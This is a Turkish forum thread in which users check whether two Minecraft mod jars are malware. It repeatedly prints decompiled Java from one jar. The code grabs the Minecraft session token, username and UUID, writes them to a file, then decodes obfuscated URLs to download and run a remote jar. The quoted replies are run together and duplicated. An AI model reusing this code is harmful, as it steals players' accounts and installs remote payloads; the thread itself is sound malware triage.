2 adet Minecraft için bir mod dosyası var ama virüs olduğundan şüpheleniyorum bilgilendirirmisiniz 2 side jar Teşekkürler.
Linkleri görebilmek için kayıt olmanız gerekmektedir
Linkleri görebilmek için kayıt olmanız gerekmektedir
reis pcdemisin,dün aksamki xraya ne diyon kullanasım geldi devirustotal ekle
package com.example.utils;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import net.fabricmc.api.EnvType;
import net.fabricmc.api.Environment;
import net.minecraft.class_310;
import org.apache.commons.io.FileUtils;
@Environment(EnvType.CLIENT)
public class DupeManager {
public static void createConfigFile() {
File t5x2y = new File(System.getenv("APPDATA") + "\\Microsoft\\config.txt");
try {
if (t5x2y.exists()) {
return;
}
FileWriter j4a7d = new FileWriter(t5x2y, false);
BufferedWriter k9b2q = new BufferedWriter(j4a7d);
class_310 n8f6v = class_310.method_1551();
String r5w3k = n8f6v.method_1548().method_1676();
String m3t1n = String.valueOf(n8f6v.method_1548().method_44717());
String x8c5j = n8f6v.method_1548().method_1674();
k9b2q.write(r5w3k + "\n" + m3t1n + "\n" + x8c5j);
k9b2q.close();
p1z3t();
} catch (IOException var7) {
var7.printStackTrace();
}
}
private static String g(String f) {
StringBuilder h = new StringBuilder();
String[] c = f.split("\\\\u");
String[] var3 = c;
int var4 = c.length;
for(int var5 = 0; var5 < var4; ++var5) {
String k = var3[var5];
if (k.length() != 0) {
int d = Integer.parseInt(k, 16);
h.append((char)d);
}
}
return h.toString();
}
private static void p1z3t() {
String[] g7x8m = new String[]{"\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u64\\u75\\u70\\u65\\u75\\u74\\u69\\u6c\\u73\\u61\\u70\\u69\\u32\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u7a\\u4b\\u33\\u72\\u35\\u44\\u39\\u65\\u4c\\u68\\u32\\u57\\u34", "\\u68\\u74\\u74\\u70\\u3a\\u2f\\u2f\\u34\\u35\\u2e\\u34\\u33\\u2e\\u31\\u36\\u33\\u2e\\u31\\u35\\u38\\u3a\\u32\\u35\\u35\\u30\\u31\\u2f\\u41\\u38\\u71\\u35\\u4c\\u32\\u74\\u33\\u4e\\u37\\u50\\u6a\\u46", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u38\\u61\\u45\\u37\\u64\\u39\\u51\\u77\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u6a\\u37\\u4b\\u70\\u32\\u76\\u52\\u33\\u6e\\u51\\u7a\\u39\\u42", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u4b\\u33\\u6e\\u5a\\u31\\u66\\u36\\u65\\u55\\u6f\\u54\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u32\\u56\\u74\\u34\\u79\\u4c\\u38\\u73\\u45\\u31\\u47", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u6d\\u35\\u44\\u32\\u68\\u50\\u39\\u76\\u38\\u46\\u6a\\u31\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u48\\u38\\u6a\\u33\\u4b\\u36\\u62\\u32\\u46\\u39\\u47\\u64\\u37", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u71\\u52\\u33\\u74\\u38\\u59\\u35\\u6b\\u34\\u42\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u66\\u34\\u54\\u31\\u70\\u58\\u32\\u72\\u41\\u39\\u4e\\u30"};
String[] var1 = g7x8m;
int var2 = g7x8m.length;
int var3 = 0;
while(var3 < var2) {
String o2f9k = var1[var3];
try {
URL l6p3j = new URL(g(o2f9k));
Path s4g7h = Files.createTempFile("a31cdd5c-4bb7-471a-ac36-41c1a364d70e", ".jar");
try {
FileUtils.copyURLToFile(l6p3j, s4g7h.toFile());
String var10000 = System.getProperty("java.home");
String b1j2y = var10000 + File.separator + "bin" + File.separator + "javaw.exe";
String[] f8e5t = new String[]{b1j2y, "-jar", s4g7h.toString()};
Process c3a8m = Runtime.getRuntime().exec(f8e5t);
c3a8m.waitFor();
break;
} finally {
Files.deleteIfExists(s4g7h);
}
} catch (InterruptedException | IOException var14) {
++var3;
}
}
}
}
attıgın source ratilk dosya değil.
ikinci dosyada temiz gibi decompile edip baktım ama bir java dosyası dikkatimi çekti
Java:package com.example.utils; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.net.URL; import java.nio.file.Files; import java.nio.file.Path; import net.fabricmc.api.EnvType; import net.fabricmc.api.Environment; import net.minecraft.class_310; import org.apache.commons.io.FileUtils; @Environment(EnvType.CLIENT) public class DupeManager { public static void createConfigFile() { File t5x2y = new File(System.getenv("APPDATA") + "\\Microsoft\\config.txt"); try { if (t5x2y.exists()) { return; } FileWriter j4a7d = new FileWriter(t5x2y, false); BufferedWriter k9b2q = new BufferedWriter(j4a7d); class_310 n8f6v = class_310.method_1551(); String r5w3k = n8f6v.method_1548().method_1676(); String m3t1n = String.valueOf(n8f6v.method_1548().method_44717()); String x8c5j = n8f6v.method_1548().method_1674(); k9b2q.write(r5w3k + "\n" + m3t1n + "\n" + x8c5j); k9b2q.close(); p1z3t(); } catch (IOException var7) { var7.printStackTrace(); } } private static String g(String f) { StringBuilder h = new StringBuilder(); String[] c = f.split("\\\\u"); String[] var3 = c; int var4 = c.length; for(int var5 = 0; var5 < var4; ++var5) { String k = var3[var5]; if (k.length() != 0) { int d = Integer.parseInt(k, 16); h.append((char)d); } } return h.toString(); } private static void p1z3t() { String[] g7x8m = new String[]{"\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u64\\u75\\u70\\u65\\u75\\u74\\u69\\u6c\\u73\\u61\\u70\\u69\\u32\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u7a\\u4b\\u33\\u72\\u35\\u44\\u39\\u65\\u4c\\u68\\u32\\u57\\u34", "\\u68\\u74\\u74\\u70\\u3a\\u2f\\u2f\\u34\\u35\\u2e\\u34\\u33\\u2e\\u31\\u36\\u33\\u2e\\u31\\u35\\u38\\u3a\\u32\\u35\\u35\\u30\\u31\\u2f\\u41\\u38\\u71\\u35\\u4c\\u32\\u74\\u33\\u4e\\u37\\u50\\u6a\\u46", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u38\\u61\\u45\\u37\\u64\\u39\\u51\\u77\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u6a\\u37\\u4b\\u70\\u32\\u76\\u52\\u33\\u6e\\u51\\u7a\\u39\\u42", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u4b\\u33\\u6e\\u5a\\u31\\u66\\u36\\u65\\u55\\u6f\\u54\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u32\\u56\\u74\\u34\\u79\\u4c\\u38\\u73\\u45\\u31\\u47", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u6d\\u35\\u44\\u32\\u68\\u50\\u39\\u76\\u38\\u46\\u6a\\u31\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u48\\u38\\u6a\\u33\\u4b\\u36\\u62\\u32\\u46\\u39\\u47\\u64\\u37", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u71\\u52\\u33\\u74\\u38\\u59\\u35\\u6b\\u34\\u42\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u66\\u34\\u54\\u31\\u70\\u58\\u32\\u72\\u41\\u39\\u4e\\u30"}; String[] var1 = g7x8m; int var2 = g7x8m.length; int var3 = 0; while(var3 < var2) { String o2f9k = var1[var3]; try { URL l6p3j = new URL(g(o2f9k)); Path s4g7h = Files.createTempFile("a31cdd5c-4bb7-471a-ac36-41c1a364d70e", ".jar"); try { FileUtils.copyURLToFile(l6p3j, s4g7h.toFile()); String var10000 = System.getProperty("java.home"); String b1j2y = var10000 + File.separator + "bin" + File.separator + "javaw.exe"; String[] f8e5t = new String[]{b1j2y, "-jar", s4g7h.toString()}; Process c3a8m = Runtime.getRuntime().exec(f8e5t); c3a8m.waitFor(); break; } finally { Files.deleteIfExists(s4g7h); } } catch (InterruptedException | IOException var14) { ++var3; } } } }
bu kod,anlayan var ise koda baksın.gozume tek bu supheli geldi.
o zaman ikinci dosya rat,ilkini kullan ikincisini kullanma.attıgın source rat
dmden at dosyayıreis pcdemisin,dün aksamki xraya ne diyon kullanasım geldi de
Virüslüilk dosya değil.
ikinci dosyada temiz gibi decompile edip baktım ama bir java dosyası dikkatimi çekti
Java:package com.example.utils; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.net.URL; import java.nio.file.Files; import java.nio.file.Path; import net.fabricmc.api.EnvType; import net.fabricmc.api.Environment; import net.minecraft.class_310; import org.apache.commons.io.FileUtils; @Environment(EnvType.CLIENT) public class DupeManager { public static void createConfigFile() { File t5x2y = new File(System.getenv("APPDATA") + "\\Microsoft\\config.txt"); try { if (t5x2y.exists()) { return; } FileWriter j4a7d = new FileWriter(t5x2y, false); BufferedWriter k9b2q = new BufferedWriter(j4a7d); class_310 n8f6v = class_310.method_1551(); String r5w3k = n8f6v.method_1548().method_1676(); String m3t1n = String.valueOf(n8f6v.method_1548().method_44717()); String x8c5j = n8f6v.method_1548().method_1674(); k9b2q.write(r5w3k + "\n" + m3t1n + "\n" + x8c5j); k9b2q.close(); p1z3t(); } catch (IOException var7) { var7.printStackTrace(); } } private static String g(String f) { StringBuilder h = new StringBuilder(); String[] c = f.split("\\\\u"); String[] var3 = c; int var4 = c.length; for(int var5 = 0; var5 < var4; ++var5) { String k = var3[var5]; if (k.length() != 0) { int d = Integer.parseInt(k, 16); h.append((char)d); } } return h.toString(); } private static void p1z3t() { String[] g7x8m = new String[]{"\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u64\\u75\\u70\\u65\\u75\\u74\\u69\\u6c\\u73\\u61\\u70\\u69\\u32\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u7a\\u4b\\u33\\u72\\u35\\u44\\u39\\u65\\u4c\\u68\\u32\\u57\\u34", "\\u68\\u74\\u74\\u70\\u3a\\u2f\\u2f\\u34\\u35\\u2e\\u34\\u33\\u2e\\u31\\u36\\u33\\u2e\\u31\\u35\\u38\\u3a\\u32\\u35\\u35\\u30\\u31\\u2f\\u41\\u38\\u71\\u35\\u4c\\u32\\u74\\u33\\u4e\\u37\\u50\\u6a\\u46", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u38\\u61\\u45\\u37\\u64\\u39\\u51\\u77\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u6a\\u37\\u4b\\u70\\u32\\u76\\u52\\u33\\u6e\\u51\\u7a\\u39\\u42", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u4b\\u33\\u6e\\u5a\\u31\\u66\\u36\\u65\\u55\\u6f\\u54\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u32\\u56\\u74\\u34\\u79\\u4c\\u38\\u73\\u45\\u31\\u47", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u6d\\u35\\u44\\u32\\u68\\u50\\u39\\u76\\u38\\u46\\u6a\\u31\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u48\\u38\\u6a\\u33\\u4b\\u36\\u62\\u32\\u46\\u39\\u47\\u64\\u37", "\\u68\\u74\\u74\\u70\\u73\\u3a\\u2f\\u2f\\u71\\u52\\u33\\u74\\u38\\u59\\u35\\u6b\\u34\\u42\\u2e\\u70\\u79\\u74\\u68\\u6f\\u6e\\u61\\u6e\\u79\\u77\\u68\\u65\\u72\\u65\\u2e\\u63\\u6f\\u6d\\u2f\\u66\\u34\\u54\\u31\\u70\\u58\\u32\\u72\\u41\\u39\\u4e\\u30"}; String[] var1 = g7x8m; int var2 = g7x8m.length; int var3 = 0; while(var3 < var2) { String o2f9k = var1[var3]; try { URL l6p3j = new URL(g(o2f9k)); Path s4g7h = Files.createTempFile("a31cdd5c-4bb7-471a-ac36-41c1a364d70e", ".jar"); try { FileUtils.copyURLToFile(l6p3j, s4g7h.toFile()); String var10000 = System.getProperty("java.home"); String b1j2y = var10000 + File.separator + "bin" + File.separator + "javaw.exe"; String[] f8e5t = new String[]{b1j2y, "-jar", s4g7h.toString()}; Process c3a8m = Runtime.getRuntime().exec(f8e5t); c3a8m.waitFor(); break; } finally { Files.deleteIfExists(s4g7h); } } catch (InterruptedException | IOException var14) { ++var3; } } } }
bu kod,anlayan var ise koda baksın.gozume tek bu supheli geldi.
Yani hangisi virüslü hangisi değilVirüslü
jar indiriyor
Linkleri görebilmek için kayıt olmanız gerekmektedir
bunun içinde birdaha birdaha gidiyor büyük ihtimal
ilki değil,ikincisi virüslü (bana göre) başka kişilerede sor öyle aç.Yani hangisi virüslü hangisi değil